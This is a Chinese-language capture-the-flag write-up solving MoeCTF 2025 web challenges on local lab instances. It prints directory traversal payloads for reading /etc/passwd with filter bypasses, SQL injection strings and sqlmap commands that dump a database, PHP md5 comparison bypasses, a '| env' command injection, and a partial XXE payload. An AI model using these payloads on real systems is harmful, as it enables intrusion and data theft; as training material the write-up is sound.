MoeCTF 2025 Web 入门第一弹(已完结)
本文为 MoeCTF 2025 Web 部分 1~10章题解,附两个 revenge 和一个番外,题目网站为:MoeCTF 2025 - 西电 CTF 终端
第一章、神秘的手镯
知识点:F12开发者工具
题目要求在所给框中填入已知的10000字密码,但是不让粘贴。
不准粘贴,那就开发者工具将10000字密码输入到该替换的地方就行。

第一章(sp)、神秘的手镯_revenge
知识点:Burp Suite 的 Intruder 爆破功能,备份文件
题目提到备份文件wanyanzhou.txt,所以访问/wanyanzhou.txt.bak
下载该文件后,需要输入500次密码。
使用Burp Suite抓包得到以下信息:
在Burp Suite的Intruder模块进行爆破:


Moe笑传之猜猜爆
知识点:控制台,代码审计
题目说仅给一次机会猜数,那必须得先知道数再猜:

F12开发者工具,打开网络栏,发现有一份js代码,提取关键部分:
1 | function resetGame() { |
在控制台输入randomNumber查看它的值:

直接输入就可以了
第二章、初识金曦玄轨
知识点:Burp Suite 抓包
打开源码,查看到提示

使用burp suite抓到这个/golden_trail的包,可以查看到flag:

第三章、问剑石!篡天改命!
知识点:Burp Suite 的 Repeater 功能
根据题目提示:初始测试将显示天赋:B,光芒:无,你需要施展”篡天改命”之术,修改玄轨中的关键参数,使问剑石显现天赋:S,光芒:流云状青芒(flowing_azure_clouds)的异象,从而获得宗门重视!
直接篡改请求头:

第四章、金曦破禁与七绝傀儡阵
知识点:get,post,put方法,xff,Referer,user-agent,cookie的使用
第一关,直接添加参数:
碎片:bW9lY3RmeOMw
第二关,要求POST传参,
使用指令:
1 | curl -X POST -d "declaration=织云阁=第一" http://127.0.0.1:XXXXX/cloud_weaver |
得到:
1 | <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css"> |
碎片:bjZyNDd1MTQ3
第三关:本地访问,修改X-Forwarded-For

碎片:MTBuNV95MHVy
第四关,修改User Agent:

碎片:X2g3N1BfbDN2
第五关,修改令牌(Cookie):

碎片:M2xfMTVfcjM0
第六关,修改来源:

碎片:bGx5X2gxOWgh
第七关,修改Content-Type和PUT请求:

碎片:fQ==
碎片整合:bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==
Base64编码得到:mouctf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}
第五章、打上门来
知识点:目录遍历
CTF中有一招在文件目录中穿梭的技法,是什么呢?
在CTF比赛中,目录遍历(Directory Traversal) 是一种常见的技术,攻击者可以通过操控路径参数,访问服务器上未授权的文件或目录。这种技法通常利用../符号返回上一级目录,从而读取敏感文件或获取Flag。
基础目录遍历
目录遍历的核心是通过修改路径参数,访问目标文件。例如:
1 | https://example.com/loadImage?filename=../../etc/passwd |
上述请求通过../返回上级目录,最终访问到/etc/passwd文件。
常见绕过方法
• 双写绕过:通过重复写入../来绕过简单的过滤规则,例如:
1 | //....//etc/passwd |
• URL编码绕过:将../进行编码,例如:
1 | %2e%2e%2f%2e%2e%2fetc/passwd |
• 截断后缀:某些服务器限制文件类型,可以利用%00截断文件后缀,例如:
1 | /../etc/passwd%00.jpg |
• 绝对路径配合:直接使用绝对路径结合../,例如:
1 | /var/www/images/../../etc/passwd |
实战案例
在某些CTF题目中,目录遍历可以结合其他漏洞使用。例如:
• 路径穿越结合Cookie欺骗:通过路径遍历获取管理员的Token,伪造Cookie登录。
• 路径穿越结合文件上传:上传恶意脚本文件,并通过路径遍历执行该脚本。
防御措施
为了防止目录遍历漏洞,开发者应采取以下措施:
• 对用户输入进行严格验证,使用白名单限制允许的路径。
• 使用文件系统API规范化路径,并验证路径是否在预期的基本目录下。
• 避免直接将用户输入拼接到文件路径中。
通过这些方法,可以有效防止目录遍历攻击,同时提升系统的安全性。
本题回溯两次就能找到flag
第六章、藏经禁制?玄机初探!
知识点:SQL注入
打开后显示一个登录页面:
直接sql注入,使用万能密码:
第七章、灵蛛探穴与阴阳双生符
知识点:robots.txt,代码审计
本题提示:有这样一个文件,它是一个存放在网站根目录下的纯文本文件,用于告知搜索引擎爬虫哪些页面可以抓取,哪些页面不应被抓取。它是网站与搜索引擎之间的 “协议”,帮助网站管理爬虫的访问行为,保护隐私内容、节省服务器资源或引导爬虫优先抓取重要页面。
这个东西就是robots.txt

打开flag.php后看到如下页面:

直接让a和b变成md5相等但是a、b不相等的情况
在PHP中,!= 是松散比较,会进行类型转换。当比较两个字符串时,如果字符串以科学计数法形式表示(如 “0e123”),PHP会将其转换为数字进行比较。
使用这个示例:
1 | $a = "240610708"; |
附:强相等、弱相等示例:
1 | # 强相等 |
第八章、天衍真言,星图显圣
知识点:SQL注入,sqlmap使用
方法一、直接SQL注入:
利用UNION,SELECT,FROM读取MySQL数据库内容(以下内容全部填写在“神识印记”中)
1’ UNION SELECT 1,2 #
回显 Welcome 1
1’ union select table_name,2 from information_schema.tables where table_schema=database() #
回显 Welcome flag
1’ union select column_name,2 from information_schema.columns where table_name=’flag’ #
回显 Welcome value
1’ union select value,2 from flag #
回显 Welcome moectf{uN1On-BASEd-5Q11_ftw1115250d0e6}
方法二、使用sqlmap:
输入:
1 | python sqlmap.py -u "http://127.0.0.1:55302/?username=1&password=1" --dbs |
回显:
1 | available databases [4]: |
输入:
1 | python sqlmap.py -u "http://127.0.0.1:55302/?username=1&password=1" -D information_schema --tables |
回显:(只显示做题有用部分)
1 | Database: user [2 tables] +----------------------------------------------------+ | flag | | users | +----------------------------------------------------+ Database: performance_schema [52 tables] +----------------------------------------------------+ |
输入:
1 | python sqlmap.py -u "http://127.0.0.1:55302/?username=1&password=1" -D user -T flag --columns |
回显:
1 | Database: user Table: flag [1 column] |
输入:
1 | python sqlmap.py -u "http://127.0.0.1:55302/?username=1&password=1" -D user -T flag -C "value" --dump |
回显:
1 | Database: user Table: flag [1 entry] +-----------------------------------------+ | value | +-----------------------------------------+ | moectf{uN1On-BASEd-5Q11_ftw1115250d0e6} | +-----------------------------------------+ |
第九章、星墟禁制·天机问路
知识点:命令注入
题目要我们1尝试输入网站,根据回显结果看出来应该有命令注入:
猜测代码(可以印证的确是这个代码)
1 |
|
经过尝试,输入 | env 可以得到隐藏flag。( | 可以截断之前的命令)
第十章、天机符阵
知识点:XSS攻击
非预期解:题目说flag在flag.txt中,直接访问就得到结果:

第十章(sp)、天机符阵_revenge
知识点:XSS攻击
正常输入,会报错说你没有输入“<”,要求你输入含“<”的语句:
本体实际上是一个XSS攻击,使用下面的XML外部实体攻击(XXE) 的Payload进行攻击,利用回显的<解析>标签(或者<输出>标签同理):
1 | <!DOCTYPE data [ <!-- 定义文档类型,名为data --> |
本文章已完结,后续可能会有部分内容的修改和更新,以保证文章的正确性和逻辑严密性。





